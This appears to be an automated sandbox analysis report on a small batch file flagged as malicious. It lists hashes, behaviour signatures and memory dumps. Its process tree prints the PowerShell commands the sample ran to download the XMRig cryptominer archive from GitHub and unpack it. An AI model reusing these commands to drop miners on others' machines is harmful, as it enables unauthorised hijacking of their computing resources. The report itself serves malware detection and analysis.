04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
22/12/2023, 05:54

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General

Target

tesy - Copy (7).bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2092	powershell.exe
4	2092	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2092	powershell.exe
3004	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2092	powershell.exe
Token: SeDebugPrivilege	3004	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3052 wrote to memory of 2092	3052	cmd.exe	29
PID 3052 wrote to memory of 2092	3052	cmd.exe	29
PID 3052 wrote to memory of 2092	3052	cmd.exe	29
PID 3052 wrote to memory of 3004	3052	cmd.exe	30
PID 3052 wrote to memory of 3004	3052	cmd.exe	30
PID 3052 wrote to memory of 3004	3052	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3004

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QXXUR5WIML9B4UXY3NLX.temp

Filesize
7KB

MD5
b0e4be0bd54af5fe3507b92a67691ca6

SHA1
aece02115c0fa9d2f374f07576273bd02122c0f3

SHA256
d2236d3c7860fd87e791756d370a1bb8c7f75a33ad5ad6c8576ba7512c2e032f

SHA512
72a36ca1d2722ea18e1b513cb5677d9dd4e9a0be54fc269fef9fb0ee2030bc5b3d2ff78edc822108d1a2fb43126bd6a13ffcfc085bfa693e3d6337ebdeaa06b9

Download Submit
memory/2092-10-0x000007FEF59E0000-0x000007FEF637D000-memory.dmp

Filesize
9.6MB

Download
memory/2092-8-0x00000000024D0000-0x0000000002550000-memory.dmp

Filesize
512KB

Download
memory/2092-9-0x00000000024D0000-0x0000000002550000-memory.dmp

Filesize
512KB

Download
memory/2092-5-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download
memory/2092-4-0x000000001B280000-0x000000001B562000-memory.dmp

Filesize
2.9MB

Download
memory/2092-7-0x00000000024D0000-0x0000000002550000-memory.dmp

Filesize
512KB

Download
memory/2092-11-0x00000000024D0000-0x0000000002550000-memory.dmp

Filesize
512KB

Download
memory/2092-13-0x00000000024D0000-0x0000000002550000-memory.dmp

Filesize
512KB

Download
memory/2092-6-0x000007FEF59E0000-0x000007FEF637D000-memory.dmp

Filesize
9.6MB

Download
memory/2092-12-0x000007FEF59E0000-0x000007FEF637D000-memory.dmp

Filesize
9.6MB

Download
memory/3004-19-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

Filesize
2.9MB

Download
memory/3004-21-0x000007FEF5040000-0x000007FEF59DD000-memory.dmp

Filesize
9.6MB

Download
memory/3004-22-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/3004-23-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/3004-24-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/3004-25-0x000007FEF5040000-0x000007FEF59DD000-memory.dmp

Filesize
9.6MB

Download
memory/3004-26-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/3004-27-0x000007FEF5040000-0x000007FEF59DD000-memory.dmp

Filesize
9.6MB

Download
memory/3004-20-0x00000000022A0000-0x00000000022A8000-memory.dmp

Filesize
32KB

Download